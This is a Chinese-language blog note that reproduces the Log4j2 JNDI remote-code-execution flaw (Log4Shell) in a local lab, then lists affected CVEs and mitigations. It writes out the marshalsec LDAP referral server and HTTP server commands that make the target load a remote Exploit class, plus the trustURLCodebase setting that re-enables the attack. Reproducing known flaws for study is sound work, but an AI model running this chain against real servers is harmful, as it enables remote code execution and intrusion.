1.marshalsec服务启动jndi,ldap监听,转发服务

java -cp /Users/xiaotian/workspace/github/marshalsec-master/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8111/#Exploit"

2.用python启动http服务

cd /Users/xiaotian/temp/exploit

python -m SimpleHTTPServer 8111

3.打开idea的log4j2-apache-test项目

执行Test下Log4j2JNDITest类的main方法即可复现该问题。

但其实现在该问题是执行了该目录下的Exploit类的实例化,所以我理解的是不存在远程漏洞注入,这可能根我的jdk版本有关系。(java version “1.8.0_311”)

原因:

会执行到javax.naming.spi.NamingManager里面的147行的代码

1
clas = helper.loadClassWithoutInit(factoryName);

里面会执行到java.net.URLClassLoader的findClass方法

里面通过

1
Resource res = ucp.getResource(path, false);

加载对应文件资源。

4.我证实了是jdk默认系统配置的原因。

将Log4j2JNDITest类的main方法里面添加

1
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

即可出现jndi远程注入攻击。

5.官网修复说明(Mitigation Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later))

6.漏洞影响版本整理

  • CVE-2021-44228 (2.0-beta9 <= Apache Log4j <= 2.15.0-rc1)-漏洞公开时间12月10号

  • (CVSS 评分:10.0) – 影响 Log4j 版本从 2.0-beta9 到 2.14.1 的远程代码执行漏洞(在 2.15.0 版本中修复)

  • CVE-2021-45046 (2.0-beta9 <= Apache Log4j <= 2.15.0-rc2(2.15.0稳定版))

  • (CVSS 评分:9.0) – 一个信息泄漏和远程代码执行漏洞,影响从 2.0-beta9 到 2.15.0 的 Log4j 版本,不包括 2.12.2(在 2.16.0 版本中修复)

  • CVE-2021-45105(2.0-beta9 <= Apache Log4j <= 2.16.0)

  • (CVSS 评分:7.5) – 一个影响从 2.0-beta9 到 2.16.0 的 Log4j 版本的拒绝服务漏洞(在 2.17.0 版中修复)

  • CVE-2021-4104 (Apache Log4j =1.2.x)

  • (CVSS 评分:8.1) – 影响 Log4j 1.2 版的不受信任的反序列化缺陷(无可用修复,升级到 2.17.1 版)或者删除log4j 1.x下面的JMSAppender.class类

1
zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class

参考博客:

https://logging.apache.org/log4j/2.x/ -官网

https://www.163.com/dy/article/GSS6M2V60552KI0B.html -网易正文

https://blog.csdn.net/weixin_44455388/article/details/122087529 -博客

http://blog.nsfocus.net/apache-log4j-3/ -绿盟科技